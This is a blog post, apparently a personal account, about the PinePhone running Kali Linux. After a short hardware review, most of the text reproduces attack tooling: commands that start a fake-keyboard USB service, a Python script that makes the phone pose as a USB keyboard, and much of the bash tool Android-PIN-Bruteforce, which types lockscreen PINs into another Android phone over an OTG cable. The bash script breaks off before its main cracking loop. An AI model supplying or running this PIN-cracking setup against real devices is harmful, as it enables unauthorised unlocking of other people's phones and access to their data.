avatarElNiak

Summary

The PinePhone is a privacy-focused, open-source smartphone designed for tech enthusiasts and privacy advocates, offering a unique platform for customization and ethical hacking.

Abstract

The PinePhone stands out in the smartphone market as a device prioritizing user privacy and control, tailored for a niche audience of tech enthusiasts and open-source advocates. Unlike mainstream smartphones, the PinePhone emphasizes the versatility and freedom provided by its Linux-based operating systems and hardware kill switches. The journey with the PinePhone begins with curiosity and evolves into a profound exploration of technological possibilities, including security testing with Kali Linux. The device's community-driven development and the ability to craft custom scripts, such as a brute force attack tool for Android phones, showcase its potential as a tool for innovation and learning in the realm of mobile privacy and security.

Opinions

  • The author views the PinePhone as a statement about control and privacy in the tech industry, challenging the dominance of iOS and Android.
  • The PinePhone is seen as more than just a smartphone; it's a toolkit for innovation, particularly appreciated by those interested in ethical hacking and cybersecurity.
  • The device's open nature is celebrated, with the community's contributions being a testament to the power of collective development.
  • The author expresses enthusiasm about the PinePhone's potential, especially after successfully installing Kali Linux and developing a custom brute force script.
  • The comparison with the FlipperZero highlights the PinePhone's broader focus on mobile computing and privacy, as opposed to the FlipperZero's more specific role as a hacking and testing multi-tool.
  • The author encourages further engagement and discussion within the tech community, emphasizing the importance of open-source projects and the collective pursuit of technological freedom and innovation.

Exploring the PinePhone: A Tech Enthusiast’s Dream for Privacy and Hacking

From Unboxing to Unique Use Cases: My Journey with the PinePhone and How It Stacks Up Against the FlipperZero

Free version here

In the vast sea of smartphones dominated by iOS and Android, a beacon of hope shines for privacy enthusiasts and open-source advocates — the PinePhone. This unique device isn’t just another smartphone; it’s a statement about control, privacy, and the power of community-driven development. My journey with the PinePhone began out of curiosity, but it quickly turned into a profound exploration of what’s possible when technology is open and customizable

source

Unboxing the PinePhone

The moment the PinePhone box landed in my hands, I knew I was in for a treat. Unlike the sleek, commercial packaging of mainstream smartphones, the PinePhone’s box whispered simplicity and focus on what matters — the device itself. Unboxing it felt more like uncovering a toolkit for innovation rather than just another gadget. The build quality immediately stood out, robust yet invitingly hackable, a clear nod to its target audience of tech tinkerers and cyber enthusiasts.

Technical Specifications and Features

Diving into the technical heart of the PinePhone, its specifications are modest yet entirely not the point.

The device is powered by

  • an Allwinner A64 Quad Core SOC with Mali 400 MP2 graphics,
  • backed by 2GB of LPDDR3 RAM.

It’s not aiming to compete on specs alone but rather on the versatility and freedom it offers. With a 5.95" LCD and hardware kill switches for the microphone, camera, and wireless features, the PinePhone puts privacy and control directly in the user’s hands.

Pins for each module can be enable/disable

The real magic, however, lies in its software capabilities. The PinePhone supports a multitude of Linux-based operating systems, giving users unparalleled freedom to customize their mobile experience. My choice to install Kali Linux was driven by a desire to leverage the PinePhone’s potential for security testing and ethical hacking — a decision that opened up a new realm of possibilities.

The PinePhone in Action

Installing Kali Linux on the PinePhone was straightforward, thanks to the vibrant community and comprehensive guides available. But I didn’t stop there. Motivated by the PinePhone’s open nature, I embarked on crafting a custom script to brute force Android phones via an OTG cable. This endeavor was not just about testing the limits of the PinePhone but also about embracing the ethos of learning and innovation that the device embodies. It was a testament to the PinePhone’s potential as a tool for security professionals and enthusiasts alike.

For example I start my exploit with:

sudo modprob g_serial; 
sudo rmmod g_serial; 
sudo systemctl start create-fake-keyboard.service;
cd /home/kali/Android-PIN-Bruteforce/; 
sudo ./android-pin-bruteforce crack 
    --config /home/kali/Android-PIN-Bruteforce/config --length 4

The create-fake-keyboard.service is as follow:

[Unit]
Description=Setup fake keyboard

[Service]
Type=simple
Restart=always
RestartSec=5
ExecStart=/home/kali/linux-gadget-hid/create-hid.py keyboard

[Install]
WantedBy=multi-user.target

With create-hid.py

#!/usr/bin/python3

# Code by ashren0, taken from:
# https://forum.odroid.com/viewtopic.php?p=272788#p272788
# https://pastebin.com/V6W5e8Da
# needs a device with a microusb host and a kernel with libcomposite and usb_f_hid support

import sys
import os
import shutil
import pwd
import asyncio
import subprocess
import argparse
import atexit

vendor = 'Gadget'
description = "Odroid Keyboard"
 
class HIDReportDescriptorKeyboard(object):
    def __len__(self):
        return 8
 
    def __bytes__(self):
        return bytes([
            0x05, 0x01,  # Usage Page (Generic Desktop Ctrls)
            0x09, 0x06,  # Usage (Keyboard)
            0xA1, 0x01,  # Collection (Application)
            0x05, 0x07,  # Usage Page (Kbrd/Keypad)
            0x19, 0xE0,  # Usage Minimum (0xE0)
            0x29, 0xE7,  # Usage Maximum (0xE7)
            0x15, 0x00,  # Logical Minimum (0)
            0x25, 0x01,  # Logical Maximum (1)
            0x75, 0x01,  # Report Size (1)
            0x95, 0x08,  # Report Count (8)
            0x81, 0x02,  # Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position)
            0x95, 0x01,  # Report Count (1)
            0x75, 0x08,  # Report Size (8)
            0x81, 0x03,  # Input (Const,Var,Abs,No Wrap,Linear,Preferred State,No Null Position)
            0x95, 0x05,  # Report Count (5)
            0x75, 0x01,  # Report Size (1)
            0x05, 0x08,  # Usage Page (LEDs)
            0x19, 0x01,  # Usage Minimum (Num Lock)
            0x29, 0x05,  # Usage Maximum (Kana)
            0x91, 0x02,  # Output (Data,Var,Abs)
            0x95, 0x01,  # Report Count (1)
            0x75, 0x03,  # Report Size (3)
            0x91, 0x03,  # Output (Const,Var,Abs)
            0x95, 0x06,  # Report Count (6)
            0x75, 0x08,  # Report Size (8)
            0x15, 0x00,  # Logical Minimum (0)
            0x25, 0x65,  # Logical Maximum (101)
            0x05, 0x07,  # Usage Page (Kbrd/Keypad)
            0x19, 0x00,  # Usage Minimum (0x00)
            0x29, 0x65,  # Usage Maximum (0x65)
            0x81, 0x00,  # Input (Data,Array,Abs,No Wrap,Linear,Preferred State,No Null Position)
            0xC0,        # End Collection
        ])
 
 
class HIDReportDescriptorGamepad(object):
    def __len__(self):
        return 4
 
    def __bytes__(self):
        return bytes([
            0x05, 0x01,  # USAGE_PAGE (Generic Desktop)
            0x15, 0x00,  # LOGICAL_MINIMUM (0)
            0x09, 0x04,  # USAGE (Joystick)
            0xa1, 0x01,  # COLLECTION (Application)
            0x05, 0x02,  # USAGE_PAGE (Simulation Controls)
            0x09, 0xbb,  # USAGE (Throttle)
            0x15, 0x81,  # LOGICAL_MINIMUM (-127)
            0x25, 0x7f,  # LOGICAL_MAXIMUM (127)
            0x75, 0x08,  # REPORT_SIZE (8)
            0x95, 0x01,  # REPORT_COUNT (1)
            0x81, 0x02,  # INPUT (Data,Var,Abs)
            0x05, 0x01,  # USAGE_PAGE (Generic Desktop)
            0x09, 0x01,  # USAGE (Pointer)
            0xa1, 0x00,  # COLLECTION (Physical)
            0x09, 0x30,  # USAGE (X)
            0x09, 0x31,  # USAGE (Y)
            0x95, 0x02,  # REPORT_COUNT (2)
            0x81, 0x02,  # INPUT (Data,Var,Abs)
            0xc0,        # END_COLLECTION
            0x09, 0x39,  # USAGE (Hat switch)
            0x15, 0x00,  # LOGICAL_MINIMUM (0)
            0x25, 0x03,  # LOGICAL_MAXIMUM (3)
            0x35, 0x00,  # PHYSICAL_MINIMUM (0)
            0x46, 0x0e, 0x01,  # PHYSICAL_MAXIMUM (270)
            0x65, 0x14,  # UNIT (Eng Rot:Angular Pos)
            0x75, 0x04,  # REPORT_SIZE (4)
            0x95, 0x01,  # REPORT_COUNT (1)
            0x81, 0x02,  # INPUT (Data,Var,Abs)
            0x05, 0x09,  # USAGE_PAGE (Button)
            0x19, 0x01,  # USAGE_MINIMUM (Button 1)
            0x29, 0x04,  # USAGE_MAXIMUM (Button 4)
            0x15, 0x00,  # LOGICAL_MINIMUM (0)
            0x25, 0x01,  # LOGICAL_MAXIMUM (1)
            0x75, 0x01,  # REPORT_SIZE (1)
            0x95, 0x04,  # REPORT_COUNT (4)
            0x55, 0x00,  # UNIT_EXPONENT (0)
            0x65, 0x00,  # UNIT (None)
            0x81, 0x02,  # INPUT (Data,Var,Abs)
            0xc0         # END_COLLECTION
        ])
 
 
class HidDaemon(object):
    def __init__(self, vendor_id, product_id, manufacturer, description, serial_number, hid_report_class):
        self._descriptor = hid_report_class()
        self._hid_devname = 'odroidc2_hid'
        self._vendor = vendor_id
        self._product = product_id
        self._manufacturer = manufacturer
        self._desc = description
        self._serial = serial_number
        self._libcomposite_already_running = self.check_libcomposite()
        self._usb_f_hid_already_running = self.check_usb_f_hid()
        self._loop = asyncio.get_event_loop()
        self._devname = 'hidg0'
        self._devpath = '/dev/%s' % self._devname
 
    def _cleanup(self):
        udc_path = '/sys/kernel/config/usb_gadget/%s/UDC' % self._hid_devname
        if os.path.exists(udc_path):
            with open(udc_path, 'w') as fd:
                fd.truncate()
            try:
                shutil.rmtree('/sys/kernel/config/usb_gadget/%s' % self._hid_devname, ignore_errors=True)
            except:
                pass
        if not self._usb_f_hid_already_running and self.check_usb_f_hid():
            self.unload_usb_f_hid()
        if not self._libcomposite_already_running and self.check_libcomposite():
            self.unload_libcomposite()
 
    @staticmethod
    def check_libcomposite():
        #r = int(subprocess.check_output("lsmod | grep 'libcomposite' | wc -l", shell=True, close_fds=True).decode().strip())
        #return r != 0
        return True
 
    @staticmethod
    def load_libcomposite():
        if not HidDaemon.check_libcomposite():
            subprocess.check_call("modprobe libcomposite", shell=True, close_fds=True)
 
    @staticmethod
    def unload_libcomposite():
        if HidDaemon.check_libcomposite():
            subprocess.check_call("rmmod libcomposite", shell=True, close_fds=True)
 
    @staticmethod
    def check_usb_f_hid():
        r = int(subprocess.check_output("lsmod | grep 'usb_f_hid' | wc -l", shell=True, close_fds=True).decode().strip())
        return r != 0
 
    @staticmethod
    def load_usb_f_hid():
        if not HidDaemon.check_libcomposite():
            subprocess.check_call("modprobe usb_f_hid", shell=True, close_fds=True)
 
    @staticmethod
    def unload_usb_f_hid():
        if HidDaemon.check_libcomposite():
            subprocess.check_call("rmmod usb_f_hid", shell=True, close_fds=True)
 
    def _setup(self):
        f_dev_name = self._hid_devname
        print(f_dev_name)
        os.makedirs('/sys/kernel/config/usb_gadget/%s/strings/0x409' % f_dev_name, exist_ok=True)
        os.makedirs('/sys/kernel/config/usb_gadget/%s/configs/c.1/strings/0x409' % f_dev_name, exist_ok=True)
        os.makedirs('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0' % f_dev_name, exist_ok=True)
        with open('/sys/kernel/config/usb_gadget/%s/idVendor' % f_dev_name, 'w') as fd:
            fd.write('0x%04x' % self._vendor)
        with open('/sys/kernel/config/usb_gadget/%s/idProduct' % f_dev_name, 'w') as fd:
            fd.write('0x%04x' % self._product)
        with open('/sys/kernel/config/usb_gadget/%s/bcdDevice' % f_dev_name, 'w') as fd:
            fd.write('0x0100')
        with open('/sys/kernel/config/usb_gadget/%s/bcdUSB' % f_dev_name, 'w') as fd:
            fd.write('0x0200')
 
        with open('/sys/kernel/config/usb_gadget/%s/strings/0x409/serialnumber' % f_dev_name, 'w') as fd:
            fd.write(self._serial)
        with open('/sys/kernel/config/usb_gadget/%s/strings/0x409/manufacturer' % f_dev_name, 'w') as fd:
            fd.write(self._manufacturer)
        with open('/sys/kernel/config/usb_gadget/%s/strings/0x409/product' % f_dev_name, 'w') as fd:
            fd.write(self._desc)
 
        with open('/sys/kernel/config/usb_gadget/%s/configs/c.1/strings/0x409/configuration' % f_dev_name, 'w') as fd:
            fd.write('Config 1 : %s' % self._desc)
        with open('/sys/kernel/config/usb_gadget/%s/configs/c.1/MaxPower' % f_dev_name,'w') as fd:
            fd.write('250')
 
        with open('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0/protocol' % f_dev_name, 'w') as fd:
            fd.write('1')
        with open('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0/subclass' % f_dev_name, 'w') as fd:
            fd.write('1')
        with open('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0/report_length' % f_dev_name, 'w') as fd:
            fd.write(str(len(self._descriptor)))
        with open('/sys/kernel/config/usb_gadget/%s/functions/hid.usb0/report_desc' % f_dev_name, 'wb') as fd:
            fd.write(bytes(self._descriptor))
 
        os.symlink(
            '/sys/kernel/config/usb_gadget/%s/functions/hid.usb0' % f_dev_name,
            '/sys/kernel/config/usb_gadget/%s/configs/c.1/hid.usb0' % f_dev_name,
            target_is_directory=True
        )

        content = '\r\n'.join(os.listdir('/sys/class/udc'))
 
        with open('/sys/kernel/config/usb_gadget/%s/UDC' % f_dev_name, 'w') as fdd:
            #content = '\r\n'.join(os.listdir('/sys/class/udc'))
            print(content)
            fdd.write(content)
 
    def run(self):
        if not self._libcomposite_already_running:
            self.load_libcomposite()
        atexit.register(self._cleanup)
 
        # Setup HID gadget (keyboard)
        self._setup()
 
        # Use asyncio because we can then do thing on the side (web ui, polling attached devices using pyusb ...)
        try:
            self._loop.run_forever()
        except KeyboardInterrupt:
            pass
 
if __name__ == '__main__':
    user_root = pwd.getpwuid(0)
    user_curr = pwd.getpwuid(os.getuid())
    print('Running as <%s>' % user_curr.pw_name)
    if os.getuid() != 0:
        print('Attempting to run as <root>')
        sys.exit(os.system("/usr/bin/sudo /usr/bin/su root -c '%s %s'" % (sys.executable, ' '.join(sys.argv))))
    parser = argparse.ArgumentParser()
    parser.add_argument('hid_type', choices=['keyboard', 'gamepad'])
    args = parser.parse_args()
    if args.hid_type == 'keyboard':
        print('Emulating: Keyboard')
        # Generic keyboard
        hid = HidDaemon(0x16c0, 0x0488, vendor, description+' HID', 'fedcba9876543210', HIDReportDescriptorKeyboard)
        hid.run()
    elif args.hid_type == 'gamepad':
        print('Emulating: Gamepad')
        # Teensy FlightSim for the purpose of this example (and since it's intended for DIY, it fits our purpose)
        hid = HidDaemon(0x16c0, 0x0488, vendor, description+' HID', 'fedcba9876543210', HIDReportDescriptorGamepad)
        hid.run()

Then ./android-pin-bruteforce is presented as follow:

#!/bin/bash
# Android-PIN-Bruteforce
# 
# Unlock an Android phone (or device) by bruteforcing the lockscreen PIN.
# 
# Turn your Kali Nethunter phone into a bruteforce PIN cracker for Android devices!
# This uses the USB OTG cable to emulate a keyboard, automatically try PINs, and wait after trying too many wrong guesses.
#
# https://github.com/urbanadventurer/Android-PIN-Bruteforce

# Load Default Configuration
source config.default
# Load Configuration
source config

VERSION=0.2

DIRECTION=1 # go forwards
VERBOSE=0
DRY_RUN=0
#RET=0

LIGHT_GREEN="\033[92m"
LIGHT_YELLOW="\033[93m"
LIGHT_RED="\033[91m"
LIGHT_BLUE="\033[94m"
DEFAULT="\033[39m"
CLEAR_LINE="\033[1K"
MOVE_CURSOR_LEFT="\033[80D"

function usage() {
  echo -e "
Android-PIN-Bruteforce ($VERSION) is used to unlock an Android phone (or device) by bruteforcing the lockscreen PIN.
  Find more information at: https://github.com/urbanadventurer/Android-PIN-Bruteforce

Commands:
  crack\t\t\tBegin cracking PINs
  resume\t\tResume from a chosen PIN
  rewind\t\tCrack PINs in reverse from a chosen PIN
  diag\t\t\tDisplay diagnostic information
  version\t\tDisplay version information and exit

Options:
  -f, --from PIN\tResume from this PIN
  -a, --attempts NUM\tStarting from NUM incorrect attempts
  -m, --mask REGEX\tUse a mask for known digits in the PIN
  -t, --type TYPE\tSelect PIN or PATTERN cracking
  -l, --length NUM\tCrack PINs of NUM length
  -c, --config FILE\tSpecify configuration file to load
  -p, --pinlist FILE\tSpecify a custom PIN list
  -d, --dry-run\t\tDry run for testing. Doesn't send any keys.
  -v, --verbose\t\tOutput verbose logs

Usage:
  android-pin-bruteforce <command> [options]
"

}


function load_pinlist() {
  length=$1

  top_number=$((10**$length-1))

  # was a PIN_LIST selected by the user?
  if [ -f "$PIN_LIST" ]; then
    log_info "Loading user specified PIN list $PIN_LIST for $length digits"
    # TODO: this doesn't valdiate the PIN_LIST 
    pinlist=(`cat $PIN_LIST`)
  else
    # Check if an optimised list exists
    if [ -f "optimised-pin-length-$length.txt" ]; then
      PIN_LIST="optimised-pin-length-$length.txt"
      log_info "Loading optimised PIN list for $length digits ($PIN_LIST)"
      pinlist=(`cat $PIN_LIST`)
    else
      # generate the list
      log_info "Generating PIN list for $length digits"
      pinlist=(`seq -w 0 $top_number`)
    fi
  fi
  log_info "PIN list contains ${#pinlist[@]} PINs"

  if [ -n "$MASK" ]; then
    pinlist=(`echo "${pinlist[@]}" | tr ' ' '\n' | egrep "$MASK" | tr '\n' ' '`)
  fi

  # validate mask returned PINs
  if [ ${#pinlist[@]} -eq 0 ]; then
    log_fail "MASK $MASK created an invalid PIN list with zero PINs"
    abort
  fi

  resume_from_index=0
  if [ -n "$RESUME_FROM_PIN" ]; then
 #   log_debug "Looking for $RESUME_FROM_PIN in pinlist"
    for i in "${!pinlist[@]}"; do
       if [[ "${pinlist[$i]}" = "${RESUME_FROM_PIN}" ]]; then
  #         log_debug  "Found ${RESUME_FROM_PIN} at element ${i}"
          resume_from_index=$i
       fi
    done
  fi
}

function repeat(){
  printf "%0.s$1" $(eval echo {1..$2})
}

# progress bar
# https://unix.stackexchange.com/questions/415421/linux-how-to-create-simple-progress-bar-in-bash
function prog() {
    tput cup 0 0
    local w=80 p=$1
    shift
    # create a string of spaces, then change them to dots
    printf -v dots "%*s" "$(( $p*$w/100 ))" ""
    dots=${dots// /x}
    # print those dots on a fixed-width space plus the percentage etc. 
    printf "\r\e[K|%-*s| %3d %% %s" "$w" "$dots" "$p" "$*"
}


function diagnostic_info() {
  log_info "# Diagnostic info"

  if [ -e $KEYBOARD_DEVICE ]; then
    log_pass "HID device ($KEYBOARD_DEVICE) found"
    ls -l $KEYBOARD_DEVICE
  else
    log_fail "HID device ($KEYBOARD_DEVICE) not found"
  fi

  if [ -f $HID_KEYBOARD ]; then
    log_pass "hid-keyboard executable ($HID_KEYBOARD) found" 
    ls -l $HID_KEYBOARD
  else
    log_fail "hid-keyboard executable ($HID_KEYBOARD) not found"  
  fi

  if [ -f $USB_DEVICES ]; then
    log_pass "usb-devices executable ($USB_DEVICES) found" 
    ls -l $USB_DEVICES
  else
    log_fail "usb-devices executable ($USB_DEVICES) not found"  
  fi

  log_info "## Executing Command: $USB_DEVICES"
  $USB_DEVICES
  RET=$?
  if [ $RET -eq 0 ]; then
    log_pass "usb-devices script executed succeessfully."
  else
    log_fail "usb-devices script failed. Return code $RET."
  fi

  log_info "## Finding Android Phone USB Device"
  devices=$($USB_DEVICES | egrep -C 5 "Manufacturer=[^L][^i][^n][^u][^x]" \
 | egrep "Vendor|Manufacturer|Product|SerialNumber" | cut -c 5- )
  
  if [ -n "$devices" ]; then
    log_fail "Unexpected result, device identified: $devices. Check your USB cables. The OTG cable should be attached to the locked phone."
  else
    log_info "Expected result, no device found."
  fi

  log_info "## Sending Enter Key"
  echo enter | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard
  RET=$?

  if [ $RET -eq 0 ]; then
    log_pass "Key was sent succeessfully."
  else
    log_fail "Key failed to send. Return code $RET."
  fi

  log_info "## Executing Command: /system/bin/getprop |grep usb"
  /system/bin/getprop |grep usb
  RET=$?
  echo  

  log_info "## Executing Command: dmesg | grep -i usb | tail"
  dmesg | grep -i usb | tail
  echo

  log_info "# Troubleshooting tips"
  echo "- Check the NetHunter phone is succesfully emulating a keyboard by connecting it to a computer with a regular charging/data USB cable. Open a text editor like Notepad and you should see it sending PINs. Note that you do not need an OTG cable for this."
  echo "- Check the Nethunter phone has a regular USB cable attached, and the locked phone has an OTG adaptor attached."
  echo "- Try using different cables/adaptors. You may have a faulty cable/adaptor."
  echo "- Perform a hard reset of both phones by holding down the power button for 20 seconds."
  echo "- Try this command: /system/bin/setprop sys.usb.config hid"

  echo
  exit
}

# Show configuration
function show_configuration() {
  log_info "# Current Configuration"
  log_conf "Configuration file: $CONFIG_FILE"
  log_conf "## PINs"
  log_conf "PIN list: $PIN_LIST"
  log_conf "Mask: $MASK"
  log_conf "Resume from: $RESUME_FROM_PIN"
  log_conf "PIN Type (PIN or Pattern): $PIN_TYPE"
  log_conf "PIN Length: $PIN_LENGTH"
  log_conf "Direction (normal or rewind): $DIRECTION"
  log_conf
  log_conf "## Timing:"
  log_conf "Delay before starting: $DELAY_BEFORE_STARTING"
  log_conf "Delay between keys: $DELAY_BETWEEN_KEYS"
  log_conf "Send keys to stay awake during cooldown every N seconds: $SEND_KEYS_STAY_AWAKE_DURING_COOLDOWN_EVERY_N_SECONDS"
  log_conf "Send keys to dismiss popups N seconds before cooldown ends: $SEND_KEYS_DISMISS_POPUPS_N_SECONDS_BEFORE_COOLDOWN_END"
  row_count="${PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________[@]}"
  row_attempts="${PROGRESSIVE_ARRAY_ATTEMPTS_UNTIL_COOLDOWN[@]}"
  row_cooldown="${PROGRESSIVE_ARRAY_COOLDOWN_IN_SECONDS____[@]}"
  log_conf " - Attempt count          : $row_count"
  log_conf " - Attempts until cooldown: $row_attempts"
  log_conf " - Cooldown in seconds    : $row_cooldown"
  log_conf
  log_conf "## Keys:"
  log_conf "Keys to send before starting: $KEYS_BEFORE_STARTING"  
  log_conf "Keys to bring up the lock screen: $KEYS_BEFORE_EACH_PIN"
  log_conf "Keys to stay awake during cooldown: $KEYS_STAY_AWAKE_DURING_COOLDOWN"
  log_conf "Keys to send at end of cooldown: $SEND_KEYS_DISMISS_POPUPS_AT_COOLDOWN_END"
  log_conf
  log_conf "## Exiting"
  log_conf "Exit after fail count: $EXIT_AFTER_FAIL_COUNT"
  log_conf
  log_conf "## File paths"
  log_conf "Log file: $LOG"
  log_conf "HID Keyboard device: $KEYBOARD_DEVICE"
  log_conf "Path to hid-keyboard: $HID_KEYBOARD"
  log_conf "Path to usb-devices: $USB_DEVICES"
  log_conf
  log_conf "## Configuration"
  log_conf "Dry Run: $DRY_RUN"
  log_conf "Verbose: $VERBOSE"
}

function abort() {
  if [ $DRY_RUN -eq 0 ]; then
    exit 1
  else
    # continue
    echo Dry Run Continues
  fi
}

function send_enter() {
  send_key enter
}

function send_esc() {
  send_key esc
}

function send_keys() {
  prompt="$1"
  delay="$2"

  for key in $prompt; do

    case $key in 
      "ctrl_escape")
        send_key "left-ctrl escape"
        ;;
      "ctrl-escape")
        send_key "left-ctrl escape"
        ;;
      "space_enter")
        send_key "space return"
        ;;
      "space-enter")
        send_key "space return"
        ;;
      "mouse-move")
        test_send_mouse_btn
        ;;
      "mouse_move")
        test_send_mouse_btn
        ;;
      "mouse-left-button")
        test_send_mouse_move
        ;;
      "mouse_left_button")
        test_send_mouse_move
        ;;
      *)
        send_key $key $delay
      ;;
    esac
#    if [ $key == "ctrl_escape" ] || [ $key == "ctrl-escape" ] ; then
#      send_key "left-ctrl escape"
#    else
#      send_key $key
#    fi
  done
}

function test_send_mouse_btn(){
  log_debug "Sending mouse: $1"
  if [ $DRY_RUN -eq 0 ]; then
    echo "0 0" | $HID_KEYBOARD $KEYBOARD_DEVICE mouse --b1 2>/dev/null
    RET=$?
  else
    RET=0 # as if it succeeded
  fi
  sleep $DELAY_BETWEEN_KEYS

}

function test_send_mouse_move(){
  log_debug "Sending mouse: $1"
  if [ $DRY_RUN -eq 0 ]; then
    echo "0 0" | $HID_KEYBOARD $KEYBOARD_DEVICE mouse 2>/dev/null
    RET=$?
  else
    RET=0 # as if it succeeded
  fi
  sleep $DELAY_BETWEEN_KEYS
  
}

function send_key(){
  if [ "$2" = "nodelay" ]; then
    delay=0
  else
    delay=$DELAY_BETWEEN_KEYS
  fi
  log_debug "Sending key: $1 with delay: $delay"
  #echo "--num-lock" | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard
  if [ $DRY_RUN -eq 0 ]; then
    echo "$1" | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard 2>/dev/null
    RET=$?
  else
    RET=0 # as if it succeeded
  fi
  #echo "--num-lock" | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard
  sleep $delay
}


function log_info(){
  echo -e "[${LIGHT_BLUE}INFO${DEFAULT}] $1" | tee -a $LOG
}

function log_pass(){
  echo -e "[${LIGHT_GREEN}PASS${DEFAULT}] $1" | tee -a $LOG
}

function log_fail(){
  echo -e "[${LIGHT_RED}FAIL${DEFAULT}] $1" | tee -a $LOG
}

function log_warn(){
  echo -e "[${LIGHT_YELLOW}WARN${DEFAULT}] $1" | tee -a $LOG
}

function log_conf(){
  echo -e "[${LIGHT_YELLOW}CONF${DEFAULT}] $1" | tee -a $LOG
}

function log_debug(){
  if [ $VERBOSE -gt 0 ]; then
    echo -e "[${LIGHT_YELLOW}DEBUG${DEFAULT}] $1" | tee -a $LOG
  fi
}


function monitor_phone_connection(){
  # check connection to phone
  # RET is set by the send_key/send_enter function
  fail_counter=0
  while [ $RET != 0 ]; do
    log_fail "HID USB device not ready. $HID_KEYBOARD returned $RET." 
    sleep 2
    send_keys "$KEYS_BEFORE_EACH_PIN"
    ((fail_counter++))

    if [[ $fail_counter -gt $EXIT_AFTER_FAIL_COUNT ]]; then
      log_fail "Exiting after $EXIT_AFTER_FAIL_COUNT successive failures."
      abort
    fi
  done
}


function check_environment(){
  if [ -e $KEYBOARD_DEVICE ]; then
    log_pass "HID device ($KEYBOARD_DEVICE) found"
  else
    log_fail "HID device ($KEYBOARD_DEVICE) not found"
    abort
  fi

  if [ -f $HID_KEYBOARD ]; then
    log_pass "hid-keyboard executable ($HID_KEYBOARD) found" 
  else
    log_fail "hid-keyboard executable ($HID_KEYBOARD) not found. Hint: You can configure an alternative location for this file with the HID_KEYBOARD variable in the config file."
    abort
  fi
}


if [ -z "$1" ]; then
  usage
  exit 1
fi
echo "Android PIN brute-force :: version $VERSION" | tee -a $LOG

# Commandline option handling inspired by ./configure

ac_prev=
for ac_option
do
  # If the previous option needs an argument, assign it.
  if test -n "$ac_prev"; then
    eval "$ac_prev=\$ac_option"
    ac_prev=
    continue
  fi

  case "$ac_option" in
  -*=*) ac_optarg=`echo "$ac_option" | sed 's/[-_a-zA-Z0-9]*=//'` ;;
  *) ac_optarg= ;;
  esac

  case "$ac_option" in

  -attempts | -a | --attempts)
    ac_prev=attempts ;;

  -attempts=* | -a=* | --attempts=*)
    attempts="$ac_optarg" ;;

  -config | -c | --config)
    ac_prev=config ;;

  -config=* | -c=* | --config=*)
    config="$ac_optarg" ;;

  -from | -f | --from)
    ac_prev=from ;;

  -from=* | -f=* | --from=*)
    from="$ac_optarg" ;;

  -length | -l | --length)
    ac_prev=length ;;

  -length=* | -l=* | --length=*)
    length="$ac_optarg" ;;

  -mask | -m | --mask)
    ac_prev=mask ;;

  -mask=* | -m=* | --mask=*)
    mask="$ac_optarg" ;;

  -type | -t | --type)
    ac_prev=type ;;

  -type=* | -t=* | --type=*)
    type="$ac_optarg" ;;

  -pinlist | -p | --pinlist)
    ac_prev=pinlist ;;

  -pinlist=* | -p=* | --pinlist=*)
    pinlist="$ac_optarg" ;;

  -verbose | -v | --verbose)
    VERBOSE=1 ;;

  -help | -h | --help)
    usage 
    exit 1 ;;

  -dryrun | -d | --dryrun | -dry-run | --dry-run )
    DRY_RUN=1 ;;

  diag*)
    diagnostic_info
    exit ;;

  crack)
    ACTION=crack ;;

  resume)
    ACTION=resume ;;

  rewind)
    ACTION=rewind 
    DIRECTION=-1 ;;

  version)
    echo "Android-PIN-Bruteforce $VERSION"
    exit ;;

  -*) { echo "Error: $ac_option: invalid option; use --help to show usage" 1>&2; exit 1; }
    ;;

  *)
    if test "x$nonopt" != xNONE; then
      { echo "Error: invalid options" 1>&2; exit 1; }
    fi
    nonopt="$ac_option"
    ;;

  esac
done

if test -n "$ac_prev"; then
  { echo "configure: error: missing argument to --`echo $ac_prev | sed 's/_/-/g'`" 1>&2; exit 1; }
fi


if [[ -n "$config" ]]; then
  # load the config file first
  if [[ -f "$config" ]]; then
    log_info "Loaded configuration file: $config"
    source "$config"
    CONFIG_FILE="$config"
  else
    log_fail "Unable to load configuration file: $config"
    abort
  fi
fi

# only set VARS if specified in commandline arguments
# commandline arguments overide the config file
if [[ -n "$mask" ]]; then
  MASK=$mask
fi
if [[ -n "$from" ]]; then
  RESUME_FROM_PIN=$from
fi
if [[ -n "$type" ]]; then
  PIN_TYPE=$type
fi
if [[ -n "$length" ]]; then
  PIN_LENGTH=$length
fi
if [[ -n "$pinlist" ]]; then
  PIN_LIST=$pinlist
fi
if [[ -n "$attempts" ]]; then
  STARTING_ATTEMPTS=$attempts
fi

# Validation

# Validate PIN TYPE 
case "$PIN_TYPE" in
  pattern | PATTERN )
    log_fail "Pattern cracking is not yet implemented."
    abort ;;
  pin | PIN )
    ;;
  *)
    log_fail "Type $PIN_TYPE cracking is not available."
    abort ;;
esac

# Validate PIN LENGTH
if [[ "$PIN_LENGTH" -gt 0 ]] && [[ "$PIN_LENGTH" -le 8 ]]; then
  # nothing
  echo -n
else
  log_fail "PIN length $PIN_LENGTH is invalid. Valid lengths are 1 to 8."
fi

# Validate PIN LIST
# either set by config or commandline options
if [[ -n "$PIN_LIST" ]]; then
  if [[ -f "$PIN_LIST" ]]; then
    echo -n
  else
    log_fail "$PIN_LIST is not a valid PIN LIST"
    exit 1
  fi
fi

# rewind, resume require that RESUME_FROM_PIN be set
if [[ "$ACTION" = "resume" ]] || [[ "$ACTION" = "rewind" ]] && [[ -z "$RESUME_FROM_PIN" ]]; then
  log_fail "$ACTION requires that --from be set"
  exit 1
fi

if [[ $DRY_RUN -eq 1 ]]; then
  log_info "Dry run enabled"
fi

load_pinlist $PIN_LENGTH

if [[ $VERBOSE > 0 ]]; then
  show_configuration
fi

# Check Environment
log_info "Checking environment"
check_environment

send_keys "$KEYS_BEFORE_STARTING"
sleep $DELAY_BEFORE_STARTING

position=$resume_from_index
pinlist_n_elements=${#pinlist[@]}
cooldown_counter=0
progressive_array_finished=0

# Handle starting attempts
if [[ $STARTING_ATTEMPTS > 0 ]]; then
  count=$((STARTING_ATTEMPTS - 1))
else
  count=0
fi

top_progressive_array_position=$(( ${#PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________[@]} - 1 ))

